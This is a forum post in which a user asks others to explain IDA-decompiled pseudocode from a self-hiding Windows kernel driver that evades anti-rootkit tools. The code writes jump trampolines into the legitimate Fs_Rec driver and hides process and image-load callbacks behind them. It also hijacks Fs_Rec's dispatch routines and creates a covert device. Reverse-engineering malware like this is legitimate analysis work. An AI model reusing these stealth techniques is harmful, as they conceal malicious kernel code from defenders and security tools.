I found a driver sys , it can hide and delete himself and can not enum by ARK, but I don't understand this code. it got it from ida. who Can explain it to me.thanks very much.
Code: Select all
char __fastcall sub_140001EF0(__int64 a1)
{
PVOID v1; // rax
__int64 v2; // rcx
PDRIVER_OBJECT v3; // rcx
char v5; // [rsp+40h] [rbp-D8h]
NTSTATUS (__stdcall *v6)(struct _DEVICE_OBJECT *, struct _IRP *); // [rsp+48h] [rbp-D0h]
char v7; // [rsp+50h] [rbp-C8h]
PVOID P; // [rsp+58h] [rbp-C0h]
char v9; // [rsp+60h] [rbp-B8h]
NTSTATUS v10; // [rsp+64h] [rbp-B4h]
PVOID v11; // [rsp+68h] [rbp-B0h]
PDRIVER_OBJECT DriverObject; // [rsp+70h] [rbp-A8h]
PDEVICE_OBJECT DeviceObject; // [rsp+78h] [rbp-A0h]
UNICODE_STRING DeviceName; // [rsp+80h] [rbp-98h]
UNICODE_STRING DestinationString; // [rsp+90h] [rbp-88h]
__int64 v16; // [rsp+A0h] [rbp-78h]
UNICODE_STRING SymbolicLinkName; // [rsp+A8h] [rbp-70h]
__int64 v18; // [rsp+B8h] [rbp-60h]
char v19; // [rsp+C0h] [rbp-58h]
char v20; // [rsp+D2h] [rbp-46h]
__int64 v21; // [rsp+120h] [rbp+8h]
v21 = a1;
v11 = 0i64;
v6 = 0i64;
v7 = 0;
qmemcpy(&v19, L"\\Device\\", 0x12ui64);
memset(&v20, 0, 0x28ui64);
v18 = 0i64;
P = 0i64;
v16 = 0i64;
if ( (signed int)sub_1400028FC() >= 0 )
{
v1 = ExAllocatePool(0, 0x1000ui64);
Dst = v1;
if ( v1 )
{
memset(Dst, 0, 0x1000ui64);
P = (PVOID)sub_1400014B8(&qword_140006010, 0i64, 1i64);
if ( P )
{
qword_1400061C0 = sub_14000144C(&unk_140005140, 1024i64);
if ( qword_1400061C0 )
{
qword_140006148 = sub_140001534(sub_140003F4C, 592i64, P);
qword_140006150 = sub_140001534(sub_140003C8C, 848i64, P);
qword_140006138 = sub_140001534(sub_14000432C, 256i64, P);
qword_140006140 = sub_140001534(sub_1400041F0, 256i64, P);
qword_140006188 = sub_140001534(sub_1400042E4, 80i64, P);
qword_140006180 = sub_140001534(sub_140004298, 80i64, P);
qword_140006190 = sub_140001534(sub_1400037E0, 640i64, P);
qword_140006198 = sub_140001534(sub_140004158, 176i64, P);
qword_1400061A0 = sub_140001534(sub_1400039CC, 848i64, P);
v11 = (PVOID)sub_140001534(sub_140003754, 144i64, P);
if ( v11 )
{
v6 = (NTSTATUS (__stdcall *)(struct _DEVICE_OBJECT *, struct _IRP *))sub_140001D6C("Fs_Rec.sys");
if ( !v6 )
{
ExFreePoolWithTag(v11, 0);
LOBYTE(v1) = 0;
return (char)v1;
}
sub_140001CF0(v21, v6);
RtlInitUnicodeString(&DestinationString, L"\\filesystem\\Fs_Rec");
v10 = ObReferenceObjectByName(
&DestinationString,
576i64,
0i64,
0i64,
IoDriverObjectType,
0,
0i64,
&DriverObject);
if ( v10 < 0 )
{
DbgPrint("failed :%x\n", (unsigned int)v10);
LOBYTE(v1) = 0;
return (char)v1;
}
v6 = (NTSTATUS (__stdcall *)(struct _DEVICE_OBJECT *, struct _IRP *))sub_140001BDC(v6);
v5 = 72;
sub_1400027E4(v6, &v5, 1i64);
v5 = -72;
sub_1400027E4((char *)v6 + 1, &v5, 1i64);
sub_1400027E4((char *)v6 + 2, &v11, 8i64);
v5 = -1;
sub_1400027E4((char *)v6 + 10, &v5, 1i64);
v5 = -32;
sub_1400027E4((char *)v6 + 11, &v5, 1i64);
LOBYTE(v2) = 1;
sub_140002678(v2, v6);
v6 = (NTSTATUS (__stdcall *)(struct _DEVICE_OBJECT *, struct _IRP *))((char *)v6 + 12);
v11 = (PVOID)sub_140001534(sub_140002D2C, 512i64, P);
v5 = 72;
sub_1400027E4(v6, &v5, 1i64);
v5 = -72;
sub_1400027E4((char *)v6 + 1, &v5, 1i64);
sub_1400027E4((char *)v6 + 2, &v11, 8i64);
v5 = -1;
sub_1400027E4((char *)v6 + 10, &v5, 1i64);
v5 = -32;
sub_1400027E4((char *)v6 + 11, &v5, 1i64);
PsSetCreateProcessNotifyRoutineEx(v6, 0i64);
v6 = (NTSTATUS (__stdcall *)(struct _DEVICE_OBJECT *, struct _IRP *))((char *)v6 + 12);
v11 = (PVOID)sub_140001534(sub_140003674, 512i64, P);
v5 = 72;
sub_1400027E4(v6, &v5, 1i64);
v5 = -72;
sub_1400027E4((char *)v6 + 1, &v5, 1i64);
sub_1400027E4((char *)v6 + 2, &v11, 8i64);
v5 = -1;
sub_1400027E4((char *)v6 + 10, &v5, 1i64);
v5 = -32;
sub_1400027E4((char *)v6 + 11, &v5, 1i64);
PsSetLoadImageNotifyRoutine(v6);
v6 = (NTSTATUS (__stdcall *)(struct _DEVICE_OBJECT *, struct _IRP *))((char *)v6 + 12);
RtlInitUnicodeString(&DeviceName, L"\\Device\\iubesks");
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\iubesks");
v10 = IoCreateDevice(DriverObject, 0, &DeviceName, 0x22u, 0, 0, &DeviceObject);
v10 = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
if ( v10 < 0 )
{
LOBYTE(v1) = 0;
return (char)v1;
}
DeviceObject->Flags &= 0xFFFFFF7F;
qword_1400061E8 = (__int64)DeviceObject;
qword_140006120 = (__int64)DriverObject->MajorFunction[0];
qword_140006128 = (__int64)DriverObject->MajorFunction[2];
qword_140006130 = (__int64)DriverObject->MajorFunction[14];
v11 = (PVOID)sub_140001534(sub_140002E14, 2142i64, P);
v5 = 72;
sub_1400027E4(v6, &v5, 1i64);
v5 = -72;
sub_1400027E4((char *)v6 + 1, &v5, 1i64);
sub_1400027E4((char *)v6 + 2, &v11, 8i64);
v5 = -1;
sub_1400027E4((char *)v6 + 10, &v5, 1i64);
v5 = -32;
sub_1400027E4((char *)v6 + 11, &v5, 1i64);
sub_1400014B8(&qword_140006010, P, 2i64);
v9 = sub_14000276C();
DriverObject->MajorFunction[0] = v6;
DriverObject->MajorFunction[2] = v6;
v3 = DriverObject;
DriverObject->MajorFunction[14] = v6;
LOBYTE(v3) = v9;
sub_1400027B0(v3);
}
else
{
v7 = 0;
}
LOBYTE(v1) = v7;
return (char)v1;
}
ExFreePoolWithTag(P, 0);
LOBYTE(v1) = 0;
}
else
{
LOBYTE(v1) = 0;
}
}
}
else
{
LOBYTE(v1) = 1;
}
return (char)v1;
}